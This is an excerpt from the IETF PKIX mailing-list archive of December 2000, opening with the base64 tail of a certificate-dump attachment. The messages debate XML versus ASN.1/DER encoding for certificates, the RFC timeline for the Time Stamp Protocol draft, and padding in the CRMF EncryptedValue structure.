InsgMiA1IDQgNiB9IGNvdW50cnlOYW1lIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPFByaW50 YWJsZVN0cmluZyBMZW5ndGg9IjIiIFZhbHVlPSJVUyI+DTwvUHJpbnRhYmxlU3RyaW5nPg08 L1NFUVVFTkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEyIj4NPFNFUVVFTkNFIExlbmd0aD0i MTAiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMCB9 IG9yZ2FuaXphdGlvbk5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry aW5nIExlbmd0aD0iMyIgVmFsdWU9ImdvdiI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF TkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEzIj4NPFNFUVVFTkNFIExlbmd0aD0iMTEiPg08 T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMSB9IG9yZ2Fu aXphdGlvbmFsVW5pdE5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry aW5nIExlbmd0aD0iNCIgVmFsdWU9Im5pc3QiPg08L1ByaW50YWJsZVN0cmluZz4NPC9TRVFV RU5DRT4NPC9TRVQ+DTwvU0VRVUVOQ0U+DTxTRVFVRU5DRSBMZW5ndGg9IjMwIj4NPFVUQ1Rp bWUgTGVuZ3RoPSIxMyIgVmFsdWU9Ijk3MDYzMDAwMDAwMFoiPg08L1VUQ1RpbWU+DTxVVENU aW1lIExlbmd0aD0iMTMiIFZhbHVlPSI5NzEyMzEwMDAwMDBaIj4NPC9VVENUaW1lPg08L1NF UVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3RoPSI0MiI+DTxTRVQgTGVuZ3RoPSIxMSI+DTxTRVFV RU5DRSBMZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0i eyAyIDUgNCA2IH0gY291bnRyeU5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRh YmxlU3RyaW5nIExlbmd0aD0iMiIgVmFsdWU9IlVTIj4NPC9QcmludGFibGVTdHJpbmc+DTwv U0VRVUVOQ0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTIiPg08U0VRVUVOQ0UgTGVuZ3RoPSIx MCI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDEwIH0g b3JnYW5pemF0aW9uTmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp bmcgTGVuZ3RoPSIzIiBWYWx1ZT0iZ292Ij4NPC9QcmludGFibGVTdHJpbmc+DTwvU0VRVUVO Q0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTMiPg08U0VRVUVOQ0UgTGVuZ3RoPSIxMSI+DTxP QkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDExIH0gb3JnYW5p emF0aW9uYWxVbml0TmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp bmcgTGVuZ3RoPSI0IiBWYWx1ZT0ibmlzdCI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF TkNFPg08L1NFVD4NPC9TRVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDM2Ij4NPFNFUVVF TkNFIExlbmd0aD0iMjk3Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9 InsgMSAyIDg0MCAxMDA0MCA0IDEgfSBkc2EiPg08L09CSkVDVF9JREVOVElGSUVSPg08U0VR VUVOQ0UgTGVuZ3RoPSIyODQiPg08SU5URUdFUiBMZW5ndGg9IjEyOCIgVmFsdWU9Ii0zMDc0 NDIyMDMxMjA5NjI3NDY1NDUyODU4Njc3OTgyMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdFUj4NPElOVEVH RVIgTGVuZ3RoPSIyMCIgVmFsdWU9Ii01MTA4OTY1NzQ2MDY1MTcwODg5MjUyNTk2MTgxNjEy NzAwMDAwMDAwMDAwMDAwMDAiPg08L0lOVEVHRVI+DTxJTlRFR0VSIExlbmd0aD0iMTI4IiBW YWx1ZT0iOTk5MzcyNzEyMDgzNjY4MDExMDY0MjUyNTI0NTY3NjAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdF Uj4NPC9TRVFVRU5DRT4NPC9TRVFVRU5DRT4NPEJJVF9TVFJJTkcgTGVuZ3RoPSIxMzIiPg08 Vj4gMDAxLTAxMDogMDAgMDIgODEgODAgQUEgOTggRUEgMTMgOTQgQTIgLi4uLi4uLi4uLiA8 L1Y+DTxWPiAwMTEtMDIwOiBEQiBGMSA1QiA3RiA5OCAyRiA3OCBFNyBEOCBFMyAuLlsuLi94 Li4uIDwvVj4NPFY+IDAyMS0wMzA6IEI5IDcxIDg2IEY2IDgwIDJGIDQwIDM5IEMzIERBIC5x Li4uL0A5Li4gPC9WPg08Vj4gMDMxLTA0MDogM0IgNEIgMTMgNDYgMjYgRUUgMEQgNTYgQzUg QTMgO0suRiYjMzg7Li5WLi4gPC9WPg08Vj4gMDQxLTA1MDogM0EgMzkgQjcgN0QgMzMgQzIg NkIgNUMgNzcgOTIgOjkuLjMua1x3LiA8L1Y+DTxWPiAwNTEtMDYwOiBGMiA1NSA2NSA5MCAz OSBDRCAxQSAzQyA4NiBFMSAuVWUuOS4uJiM2MDsuLiA8L1Y+DTxWPiAwNjEtMDcwOiAzMiBF QiAyNSBCQyA5MSBDNCBGRiA4MCA0RiAzNiAyLiUuLi4uLk82IDwvVj4NPFY+IDA3MS0wODA6 IDYxIEJEIENDIEUyIDYxIDA0IEUwIDdFIDYwIDEzIGEuLi5hLi4uYC4gPC9WPg08Vj4gMDgx LTA5MDogQ0EgQzAgOUMgREQgRTAgRUEgNDEgREUgMzMgQzEgLi4uLi4uQS4zLiA8L1Y+DTxW PiAwOTEtMTAwOiBGMSA0NCBBOSBCQyA3MSBERSBDRiA1OSBENCA2RSAuRC4ucS4uWS5uIDwv Vj4NPFY+IDEwMS0xMTA6IERBIDQ0IDk5IDNDIDIxIDY0IEU0IDc4IDU0IDlEIC5ELiYjNjA7 IWQueFQuIDwvVj4NPFY+IDExMS0xMjA6IEQwIDdCIEJBIDRFIEY1IDE4IDREIDVFIDM5IDMw IC4uLk4uLk1eOTAgPC9WPg08Vj4gMTIxLTEzMDogQkYgRTAgRDEgRjYgRjQgODMgMjUgNEYg MTQgQUEgLi4uLi4uJU8uLiA8L1Y+DTxWPiAxMzEtMTMyOiA3MSBFMSAgICAgICAgICAgICAg ICAgICAgICAgICBxLiA8L1Y+DTwvQklUX1NUUklORz4NPC9TRVFVRU5DRT4NPF8zX0NvbnRl eHQtc3BlY2lmaWMgTGVuZ3RoPSIxMyI+DTxTRVFVRU5DRSBMZW5ndGg9IjExIj4NPFNFUVVF TkNFIExlbmd0aD0iOSI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7 IDIgNSAyOSAxOSB9IGJhc2ljQ29uc3RyYWludHMiPg08L09CSkVDVF9JREVOVElGSUVSPg08 T0NURVRfU1RSSU5HIExlbmd0aD0iMiIgVmFsdWU9IjEtMjogMzAgMDAgICAgICAgICAgICAg ICAgICAgICAgICAgMC4iPg08L09DVEVUX1NUUklORz4NPC9TRVFVRU5DRT4NPC9TRVFVRU5D RT4NPC9fM19Db250ZXh0LXNwZWNpZmljPg08L1NFUVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3Ro PSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9InsgMSAyIDg0MCAx MDA0MCA0IDMgfSBkc2FXaXRoU2hhMSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTwvU0VRVUVO Q0U+DTxCSVRfU1RSSU5HIExlbmd0aD0iNDciPg08Vj4gMDEtMTA6IDAwIDMwIDJDIDAyIDE0 IDlEIDJEIDBDIDc1IEVDIC4wLC4uLi0udS4gPC9WPg08Vj4gMTEtMjA6IENFIDAxIDc5IDI1 IDRDIENEIDdCIERDIEZDIDE3IC4ueSVMLi4uLi4gPC9WPg08Vj4gMjEtMzA6IDBFIDBGIDJB IDIyIEVGIDAyIDE0IDgwIDYxIDZGIC4uKiIuLi4uYW8gPC9WPg08Vj4gMzEtNDA6IEZCIERD IDcxIENGIDNGIDA5IDYyIEI0IEFBIEFEIC4ucS4/LmIuLi4gPC9WPg08Vj4gNDEtNDc6IDRC IDhDIDI4IDY4IEQ3IDYwIEZFICAgICAgICAgIEsuKGguYC4gPC9WPg08L0JJVF9TVFJJTkc+ DTwvU0VRVUVOQ0U+DTwvQkVSPg0= --MS_Mac_OE_3059025917_272816_MIME_Part-- From owner-ietf-pkix@imc.org Thu Dec 7 12:43:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA01401 for ; Thu, 7 Dec 2000 12:43:19 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA13913; Thu, 7 Dec 2000 09:39:41 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 09:39:39 -0800 Received: from mail.elftech.com ([63.237.226.22]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13882 for ; Thu, 7 Dec 2000 09:39:38 -0800 (PST) From: jdhascup@elftech.com Subject: Re: PKIXML session. Was: PKIX WG tentative agenda To: polar%adiron.com%INTERNET@elftech.com Cc: Tim Polk , ietf-pkix@imc.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: Date: Thu, 7 Dec 2000 09:39:45 -0800 X-MIMETrack: Serialize by Router on Stratos/LXN(Release 5.0.3 |March 21, 2000) at 12/07/2000 09:39:34 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe >> To be honest, I personally believe that XML is an >> inappropriate encoding format for certificates (public key *or* attribute). > >Forgive me, I'm just an academic. So, my I ask, what does the encoding >format really matter? And especially, why is XML "inappropriate" for >certificates? I believe there is a future for XML (or it's replacement) in how services can use certificates. But I also have a concern in using XML as an encoding format for certificates. In every instance of XML "enabled" services I've seen the processes tend to be very inefficient. The move should be toward a greater efficiency in the handling of certificates. The long term future of XML (or it's replacement) may resolve this, but as end-entity devices are demanding greater efficiency the concern should be against bloating the certificate. JohnDavid Dr. JohnDavid Hascup Senior Security Architect ELF Technologies Issaquah, WA 425-369-5200 After a year's research, one realizes that it could have been done in a week. [from Fifty Years of X-ray Diffraction] - Sir William Henry Bragg, 1862-1942 From owner-ietf-pkix@imc.org Thu Dec 7 13:53:02 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11037 for ; Thu, 7 Dec 2000 13:53:01 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17123; Thu, 7 Dec 2000 10:49:36 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 10:49:20 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17088 for ; Thu, 7 Dec 2000 10:49:19 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id NAA24710; Thu, 7 Dec 2000 13:51:24 -0500 (EST) Message-Id: <4.2.0.58.20001207130621.01c41270@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 07 Dec 2000 13:49:13 -0500 To: Jean-Marc Desperrier , ietf-pkix From: Tim Polk Subject: tentative timeline for TSP (was Re: PKIX WG tentative agenda) In-Reply-To: <3A2F83AF.8726DAE7@certplus.com> References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Jean-Marc, The IESG process does not operate on a fixed schedule, so we really can't predict when an RFC number might be available. The IETF process consists of repeated discussion and debate regarding the merits of a specification. At any stage, we could conceivably discover a problem that needs to be resolved. Every problem that is encountered will take additional time. TSP has several hurdles to cross. Once the ADs are satisfied, TSP will still need to go through IETF Last Call, be approved by the IESG, and wait in the IETF editing queue. After successfully completing this process, it will get an RFC number. (Note that IETF Last Call is a minimum of two weeks, and documents seem to be spending at least a month in the editing queue. Many documents spend more time in each stage.) I expect TSP to go through the process rather cleanly. My experience is that documents which survive PKIX itself are already fairly well scrubbed. Tim Polk At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote: >Tim Polk wrote: > > > I have attached the tentative agenda for next week's PKIX sessions. As > > usual, we have a rather full agenda. Both days should be > > interesting; we'll discuss the path validation protocols on Tuesday and > > XML on Wednesday. In between, we'll cover the status of our twenty current > > I-Ds. > >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is >finished, and that the draft is now under Area Director Review. > >What would be a tentative time-line until publication as an RFC, or until >attribution of a RFC number ? > > From owner-ietf-pkix@imc.org Thu Dec 7 14:05:23 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA13846 for ; Thu, 7 Dec 2000 14:05:23 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA17609; Thu, 7 Dec 2000 10:58:46 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 10:58:44 -0800 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17576 for ; Thu, 7 Dec 2000 10:58:43 -0800 (PST) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id eB7IlKs16757 for ; Thu, 7 Dec 2000 10:47:20 -0800 (PST) Received: from netscape.com ([192.18.121.215]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id G57OSN01.JG8; Thu, 7 Dec 2000 11:00:23 -0800 Message-ID: <3A2FDE48.9000602@netscape.com> Date: Thu, 07 Dec 2000 11:00:24 -0800 From: thayes@netscape.com (Terry Hayes) User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0 X-Accept-Language: en MIME-Version: 1.0 To: Polar Humenn CC: Tim Polk , ietf-pkix@imc.org Subject: Re: PKIXML session. Was: PKIX WG tentative agenda References: Content-Type: multipart/alternative; boundary="------------010203070804080906090505" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --------------010203070804080906090505 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Polar Humenn wrote: > On Thu, 7 Dec 2000, Tim Polk wrote: > > > >> To be honest, I personally believe that XML is an >> inappropriate encoding format for certificates (public key *or* attribute). > > > Forgive me, I'm just an academic. So, my I ask, what does the encoding > format really matter? And especially, why is XML "inappropriate" for > certificates? At the end of the day, the encoding format doesn't really matter. As long as the required data is included in the payload, and all the parties involved can decode and process the message, the desired results will be acheived. However, there currently is a widely deployed and useful infrastructure for certificates that uses ASN.1, DER and X.509 as the standard way of representing the payload. There are applications and protocols that use this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed these existing formats. There is infrastructure developed and deployed for generating these certificates. There are standard interfaces to devices that provided mechanisms for dealing with X.509 certificates (I'm thinking of PKCS#11). Why would you want to replace all of these just for the sake of "purity of XML"? Terry --------------010203070804080906090505 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Polar Humenn wrote:
On Thu, 7 Dec 2000, Tim Polk wrote:

<snipped>
To be honest, I personally believe that XML is an 
inappropriate encoding format for certificates (public key *or* attribute).

Forgive me, I'm just an academic. So, my I ask, what does the encoding
format really matter? And especially, why is XML "inappropriate" for
certificates?
At the end of the day, the encoding format doesn't really matter.  As long as the required data is included in the payload, and all the parties involved can decode and process the message, the desired results will be acheived.

However,  there currently is a widely deployed and useful infrastructure for certificates that uses ASN.1, DER and X.509 as the standard way of representing the payload.  There are applications and protocols that use this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed these existing formats.  There is infrastructure developed and deployed for generating these certificates.  There are standard interfaces to devices that provided mechanisms for dealing with X.509 certificates (I'm thinking of PKCS#11).

Why would you want to replace all of these just for the sake of "purity of XML"?

Terry
--------------010203070804080906090505-- From owner-ietf-pkix@imc.org Thu Dec 7 14:24:10 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18733 for ; Thu, 7 Dec 2000 14:24:09 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20467; Thu, 7 Dec 2000 11:19:59 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 11:19:16 -0800 Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA20409 for ; Thu, 7 Dec 2000 11:19:14 -0800 (PST) Received: (qmail 26325 invoked from network); 7 Dec 2000 19:21:20 -0000 Received: from taurus.hosting4u.net (209.15.2.33) by mail-gate.hosting4u.net with SMTP; 7 Dec 2000 19:21:20 -0000 Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Thu, 07 Dec 2000 13:21:17 -0600 Message-ID: <3A2FE2D5.1962319@nma.com> Date: Thu, 07 Dec 2000 11:19:49 -0800 From: Ed Gerck X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Tim Polk CC: Polar Humenn , ietf-pkix@imc.org Subject: two good points, Re: PKIXML session. Was: PKIX WG tentative agenda References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Tim Polk wrote: > At 10:10 AM 12/7/00 -0500, Polar Humenn wrote: > >On Thu, 7 Dec 2000, Tim Polk wrote: > > > > To be honest, I personally believe that XML is an > > > inappropriate encoding format for certificates (public key *or* attribute). > > > >Forgive me, I'm just an academic. So, my I ask, what does the encoding > >format really matter? And especially, why is XML "inappropriate" for > >certificates? > > I'm just a government hack, so take it for what it's worth: > > > I see tow major problems with XML as a near term solution for > certificates. Perhaps they can be resolved in the future, but they seem > like issues today. > > First, I believe that significant work remains to handle signed XML at > all. In its basic form, XML encoded documents can be modified without > changing the document. That breaks signatures. But not the document. This is IMO good point #1 -- and you can always prove that the document was signed. > Secondly, XML certificates are going to bring a significant increase in > size. This is just a question of proper compression. The information capacity of the certificate (viewed as a Shannon communication channel) versus its size is not only a function of the pre-encoding used but also of the post-encoding. So, this is IMO good point #2 -- you can reduce a XML certificate size *below* the ASN.1 size. > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves > our purpose. It has its warts, as Peter Gutmann's X.509 Style Guide > demonstrates, but we know how to make it work. A Florida election official said the same the other day about chads and paper-ballots: -- sometjing like "Now that every voter knows the problem, the system will be really accurate. We can continue to use punch-cards". But this is not the problem, is it? Cheers, Ed Gerck From owner-ietf-pkix@imc.org Thu Dec 7 15:12:00 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA26662 for ; Thu, 7 Dec 2000 15:11:59 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA24331; Thu, 7 Dec 2000 12:08:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 12:08:12 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24261 for ; Thu, 7 Dec 2000 12:08:11 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA10726; Thu, 7 Dec 2000 15:10:18 -0500 (EST) Message-Id: <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Thu, 07 Dec 2000 15:08:06 -0500 To: Ed Gerck From: Tim Polk Subject: Re: two good points, Re: PKIXML session. Was: PKIX WG tentative agenda Cc: Polar Humenn , ietf-pkix@imc.org In-Reply-To: <3A2FE2D5.1962319@nma.com> References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov> <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Ed, > > First, I believe that significant work remains to handle signed XML at > > all. In its basic form, XML encoded documents can be modified without > > changing the document. That breaks signatures. > >But not the document. This is IMO good point #1 -- and you can always prove >that the document was signed. I don't get it. If the signature is broken, you cannot prove the document was signed. All you know is that the signature does not verify. > > Secondly, XML certificates are going to bring a significant increase in > > size. > >This is just a question of proper compression. The information capacity of >the certificate (viewed as a Shannon communication channel) versus its size >is not only a function of the pre-encoding used but also of the post-encoding. > >So, this is IMO good point #2 -- you can reduce a XML certificate size >*below* the >ASN.1 size. Much of the information cannot be compressed, though. Keys and signatures should look like random data, so there shouldn't be much of a gain there. If you compress the remaining parts, it won't be readable, and the client system has to implement special processing rules to obtain the needed information. Hmm, sounds like decoding the ASN.1 to me. > > > > I don't have a crystal ball, but it seems that ASN.1 DER encoding serves > > our purpose. It has its warts, as Peter Gutmann's X.509 Style Guide > > demonstrates, but we know how to make it work. > >A Florida election official said the same the other day about chads and >paper-ballots: >-- sometjing like "Now that every voter knows the problem, the system will >be really >accurate. We can continue to use punch-cards". > >But this is not the problem, is it? Point well taken, but I am not convinced that XML is simpler, clearer or more interoperable solution. The difference with voting is that NIST identified these problems back in '88. No one noticed or cared back then. Thanks, Tim From owner-ietf-pkix@imc.org Thu Dec 7 15:25:04 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28805 for ; Thu, 7 Dec 2000 15:25:03 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA24330; Thu, 7 Dec 2000 12:08:22 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 12:08:04 -0800 Received: from ntserver2.chrysalis-its.com ([209.47.245.163]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA24240 for ; Thu, 7 Dec 2000 12:08:03 -0800 (PST) From: FRousseau@chrysalis-its.com Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21) id ; Thu, 7 Dec 2000 15:10:14 -0500 Message-ID: <918C70B01822D411A87400B0D0204DFF72F55A@panda.chrysalis-its.com> To: arik@phaos.com Cc: ietf-pkix@imc.org Subject: RE: CRMF EncryptedValue Date: Thu, 7 Dec 2000 15:10:12 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06089.B566BBAE" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06089.B566BBAE Content-Type: text/plain; charset="iso-8859-1" Ari, It is not incomplete if implementations follow the approach described in the note after the ASN.1 for the EncryptedValue structure in Section 6.4: -- When EncryptedValue is used to carry a private key (as opposed to -- a certificate, implementations MUST support the encValue field -- containing an encrypted PrivateKeyInfo as defined in [PKCS11], -- section 12.9, with the exception that the D-H algorithm OID and -- parameters MUST be as defined in ANSI X9.42. In this case, -- the intendedAlg field is unnecessary (since this information is -- included in PrivateKeyInfo) and MUST be omitted. -- If encValue contains some other format/encoding for the private -- key, intendedAlg MUST be present. Furthermore, the first octet of -- valueHint MAY be used to indicate the format/encoding (but note -- that the possible values of this octet are not specified at this -- time). Section 12.9 of PKCS#11 v2.10 describes precisely how to use secret keys for wrapping and unwrapping RSA private keys, Diffie-Hellman private keys, and DSA private keys. For wrapping, a private key is BER-encoded according to PKCS #8's PrivateKeyInfo ASN.1 type. PKCS #8 requires an algorithm identifier for the type of the private key and the parameters for the algorithm identifiers. Both of these values are also mentioned in PKCS#11 except for X9.42 as per the note above. Once a private key has been BER-encoded as a PrivateKeyInfo type, the resulting string of bytes is encrypted with the secret key. This encryption must be done in CBC mode with PKCS padding. Cheers, Francois ___________________________________ Francois Rousseau Director of Standards and Conformance Chrysalis-ITS 1688 Woodward Drive Ottawa, Ontario, CANADA, K2C 3R7 frousseau@chrysalis-its.com Tel. (613) 723-5076 ext. 419 http://www.chrysalis-its.com Fax. (613) 723-5078 -----Original Message----- From: Ari Kermaier [mailto:arik@phaos.com] Sent: Wednesday, December 06, 2000 3:40 PM To: ietf-pkix@imc.org Subject: CRMF EncryptedValue It seems to me that the EncryptedValue structure defined in CRMF (used in POPOPrivKey and PKIArchiveOptions) may be incompletely specified. The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is: EncryptedValue ::= SEQUENCE { intendedAlg [0] AlgorithmIdentifier OPTIONAL, -- the intended algorithm for which the value will be used symmAlg [1] AlgorithmIdentifier OPTIONAL, -- the symmetric algorithm used to encrypt the value encSymmKey [2] BIT STRING OPTIONAL, -- the (encrypted) symmetric key used to encrypt the value keyAlg [3] AlgorithmIdentifier OPTIONAL, -- algorithm used to encrypt the symmetric key valueHint [4] OCTET STRING OPTIONAL, -- a brief description or identifier of the encValue content -- (may be meaningful only to the sending entity, and used only -- if EncryptedValue might be re-examined by the sending entity -- in the future) encValue BIT STRING } How does the recipient of such a structure know what block padding scheme may (or may not) have been used with the symmetric encryption algorithm? CMS, for example, specifies mechanisms whereby this information is conveyed with similar message structures, but I can't seem to find any mention of this in CMP/CRMF. Any ideas, anyone? Ari ------_=_NextPart_001_01C06089.B566BBAE Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: CRMF EncryptedValue

Ari,

It is not incomplete if implementations follow the = approach described in the note after the ASN.1 for the EncryptedValue = structure in Section 6.4:

-- When EncryptedValue is used to carry a private key = (as opposed to
-- a certificate, implementations MUST support the = encValue field
-- containing an encrypted PrivateKeyInfo as defined = in [PKCS11],
-- section 12.9, with the exception that the D-H = algorithm OID and
-- parameters MUST be as defined in ANSI = X9.42.  In this case,
-- the intendedAlg field is unnecessary (since this = information is
-- included in PrivateKeyInfo) and MUST be = omitted.
-- If encValue contains some other format/encoding = for the private
-- key, intendedAlg MUST be present. Furthermore, = the first octet of
-- valueHint MAY be used to indicate the = format/encoding (but note
-- that the possible values of this octet are not = specified at this
-- time).

Section 12.9 of PKCS#11 v2.10 describes precisely how = to use secret keys for wrapping and unwrapping RSA private keys, = Diffie-Hellman private keys, and DSA private keys.

